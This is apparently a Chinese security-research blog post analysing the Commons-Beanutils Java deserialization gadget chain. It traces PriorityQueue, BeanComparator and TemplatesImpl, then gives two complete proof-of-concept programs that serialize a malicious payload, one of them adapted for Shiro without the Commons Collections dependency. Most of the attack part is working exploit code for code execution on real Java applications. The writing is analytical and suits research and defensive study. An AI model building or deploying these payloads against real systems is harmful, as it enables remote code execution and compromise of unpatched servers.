版本:8u65
依赖:commons-beanutils 1.8.3;commons-logging 1.2
Commons-Beanutils 是 Apache Commons 项目下的一个常用 Java 库,它提供了一些实用的工具类来操作 Java Bean 的属性
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
JavaBean
简单理解就是特殊的java类,使用java语言书写,遵循javabean api规范,然后有一下特征:
- 提供默认无参构造函数
- 需要被序列化并实现了serializable接口
- 有一些私有属性
- 有getter或setter方法
链子分析
准备恶意类,CC3的后半段
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "a");
byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
不多讲了,关键触发,利用
BeanComparator类的compare()方法
在其commons-beanutils的java库中,PropertyUtils类能够动态调用getter/setter方法,获取属性值
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException iae) {
throw new RuntimeException("IllegalAccessException: " + iae.toString());
} catch (InvocationTargetException ite) {
throw new RuntimeException("InvocationTargetException: " + ite.toString());
} catch (NoSuchMethodException nsme) {
throw new RuntimeException("NoSuchMethodException: " + nsme.toString());
}
}
}

关键调用此处,可以通过无参构造器去实例化一个BeanComparator对象去承载构造好的恶意对象,最终去调用到TemplatesImpl.getOutputProperties()方法,然后就链接到CC3了
如何触发compare()呢?
利用PriorityQueue#readObject(),
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
其中会走到heapify()方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
这里要求是size的值大于等于2才可能触发到后续的,具体代码可自己详细动调看一下
在CC2和CC4中也是类似利用,利用add()函数去赋值,但是如果提前将恶意对象添加,会导致链子走不通

具体可以看到当add()使用两次后,size变为2时,进入到sifUp()
实际上,利用add()进行赋值,初始化对象时正常利用对象,并且property为空,为了确保链子能顺利运行到我们想要的位置,随后反射修改即可

最终就是通过BeanComparator.compare()的参数作为恶意对象进行加载,最后反序列化执行
PriorityQueue.readObject()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
->TemplatesImpl#getOutputProperties()
->TemplatesImpl#newTransformer()
->TemplatesImpl#getTransletInstance()
->TemplatesImpl#defineTransletClasses()
->TransletClassLoader#defineClass()
最终POC如下
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class POC_CB {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "sunsun");
byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});
serialize(queue);
unserialize("CBchains.txt");
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CBchains.txt"));
oos.writeObject(object);
oos.close();
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

无CC依赖的Shiro反序列化利用链
还有一条不用CC依赖的链子
关注到类org.apache.commons.collections.comparators.ComparableComparator

可以看到在没有显示传入Comparator参数的情况下,使用了ComparanleComparator
但由于BeanComparator的默认行为,就会导致利用链输入不可控,所以我们需要找类来进行替换,需要满足以下条件:
- 实现 java.util.Comparator接口
- 实现java.io.Serializable接口
- Java、shiro或commons-beanutils自带
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
看到aseInsensitiveComparator类是java.lang.String类下的一个内部私有类,其实现了 Comparator和Serializable
通过String.CASE_INSENSITIVE_ORDER就可以得到CaseInsensitiveComparator对象,用它来实例化 BeanComparator
CASE_INSENSITIVE_ORDER 本质也是一个 Comparator
在调式原POC时可以看到



可以看到就算没有设置comparator参数,最后还是会进行参数传递,调用至构造方法,然后会实例化ComparableComparator比较器
作为comparator参数走到链子当中
所以我们构造POC
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class POC_withoutcc {
public static void main(String args[]) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
setValue(templatesImpl, "_name", "sunsun");
byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
byte[][] codes = {code};
setValue(templatesImpl, "_bytecodes", codes);
setValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(2);
setValue(comparator, "property", "outputProperties");
setValue(queue, "queue",new Object[]{templatesImpl,templatesImpl});
setValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
serialize(queue);
unserialize("CBchains.txt");
}
public static void setValue(Object object, String field_name, Object field_value) throws Exception {
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CBchains.txt"));
oos.writeObject(object);
oos.close();
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}